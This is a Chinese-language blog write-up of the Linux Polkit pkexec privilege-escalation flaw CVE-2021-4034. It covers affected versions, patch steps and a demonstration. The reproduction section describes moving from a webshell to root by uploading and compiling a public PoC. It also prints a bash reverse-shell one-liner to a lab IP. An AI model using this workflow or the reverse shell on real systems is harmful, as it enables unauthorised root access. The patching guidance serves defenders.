CVE-2021-4034 Linux Polkit本地許可權提升漏洞

0x00 前言

公司放假兩天,突然一天下午,群裡面實驗室的大哥發了個通告,就是這個臭名昭著剛爆出來的漏洞。通殺目前市場上大多數Linux作業系統。隨後我看到各種微信公眾號紛紛發表文章,POC已經出現了很長時間了,在野利用肯定不少。

下面是官方通告:

//ubuntu.com/security/CVE-2021-4034

0x01 漏洞描述

Polkit 是用於在類 Unix 作業系統中控制系統範圍特權的組件。它為非特權進程提供了與特權進程進行通訊的有組織的方式。

CVE-2021-4034

polkit 的 pkexec 存在本地許可權提升漏洞,已獲得普通許可權的攻擊者可通過此漏洞獲取root許可權。

0x02 影響範圍

影響版本:由於 polkit 為系統預裝工具,目前主流Linux版本均受影響。

修復版本:

CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

0x03 漏洞原理

原理嘛,暫時先放放,實在是太難了,畢竟12年沒挖掘出來的漏洞,突然爆出來讓我來解釋原理,我肯定一臉蒙蔽啊。

0x04 漏洞復現

因為是提權性質的漏洞,所以基本上就是先拿到了webshell,然後再上傳POC進行提權的。網上有好多人直接將POC下載到系統中,然後直接在終端編譯後運行二進位文件,直接提權,這誰不會啊!但是實戰的時候你滲透就這麼用??肯定不符合常理。下面按照實戰來演示一下。

Centos7

image-20220211163925847

1、蟻劍鏈接Centos7

2、下載POC並且上傳POC //github.com/sukusec301/Linux-pkexec_2021-4034-EXP,使用這個就行

image-20220211161748911

3、上傳完畢後解壓縮

image-20220211161906666

4、編譯

gcc CVE-2021-40340main.c -o exp
chmod +x exp

5、直接運行,發現不成功

image-20220211162017814

6、反彈shell到kali上再重新運行,成功

image-20220211162105426

ubuntu18.04 / kali

ubuntu的操作方式與kali一樣,這裡就示範一下KALI的

image-20220211163810726

1、通過蟻劍先鏈接webshell

image-20220211163058390

2、因為這裡網站根目錄無法上傳文件,切到/tmp下上傳文件即可,將POC解壓縮

image-20220211163202145

3、隨後直接編譯並執行文件,執行失敗

gcc cve-2021-4034-poc.c -o exp

image-20220211163305062

4、準備進行反彈shell:因為kali是一個ubuntu系統,所以先創建一個1.sh文件,然後在裡面寫上反彈shell的一句話。隨後在windows上nc監聽,kali上執行命令。可以看到成功反彈shell

1.sh
	bash -c 'exec bash -i &>/dev/tcp/192.168.91.1/6666 <&1'
bash 1.sh

image-20220211163451580

5、這時候在windows這個終端上面使用剛剛編譯好的exp,./exp,成功。

image-20220211163707570

0x05 漏洞修復

具體詳細操作步驟詳細見這個網站://blog.51cto.com/56281688/4974950

目前各Linux發行版官方均已給出安全修補程式,建議用戶儘快升級至安全版本,或參照官方說明措施進行緩解,CentOS、Ubuntu及Debian用戶可參考以下鏈接:

//ubuntu.com/security/CVE-2021-4034

//access.redhat.com/security/cve/CVE-2021-4034

//security-tracker.debian.org/tracker/CVE-2021-4034

截止到目前2022/01/27, CentOS目前已提供安全更新包

漏洞徹底修復方法之在線升級

1、切換到root,直接執行下面這些命令

yum clean all && yum makecache
yum update polkit -y

image-20220211165649140

2、再次執行exp,就會發現,無效

image-20220211165724769

漏洞徹底修復方法之離線升級

下載rpm包。下載地址://mirror.centos.org/centos/7/updates/x86_64/Packages/(需掛代理,Ctrl+F搜索)

image-20220211164600196

wget //mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm
rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
rpm -aq | grep polkit   #查看Polkit是否為安全版本
./cve-2021-4034-poc     #驗證漏洞poc

[root@node03 src]# ls
cve-2021-4034-poc  polkit-0.112-26.el7_9.1.x86_64.rpm  sysinit.sh
[root@node03 src]# rpm -aq | grep polkit
polkit-pkla-compat-0.1-4.el7.x86_64
polkit-0.112-18.el7.x86_64
[root@node03 src]# rpm -Uvh  polkit-0.112-26.el7_9.1.x86_64.rpm
Preparing...                          ################################# [100%]
Updating / installing...
   1:polkit-0.112-26.el7_9.1          ################################# [ 50%]
Cleaning up / removing...
   2:polkit-0.112-18.el7              ################################# [100%]
[root@node03 src]# rpm -aq | grep polkit
polkit-pkla-compat-0.1-4.el7.x86_64
polkit-0.112-26.el7_9.1.x86_64
[root@node03 src]# su - lianglab
Last login: Thu Jan 27 17:50:22 CST 2022 on pts/0
[lianglab@node03 <sub>]$ ls
[lianglab@node03 </sub>]$ cd /tmp/
[lianglab@node03 tmp]$ ./cve-2021-4034-poc 
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

Report bugs to: //lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <//www.freedesktop.org/wiki/Software/polkit>
[lianglab@node03 tmp]$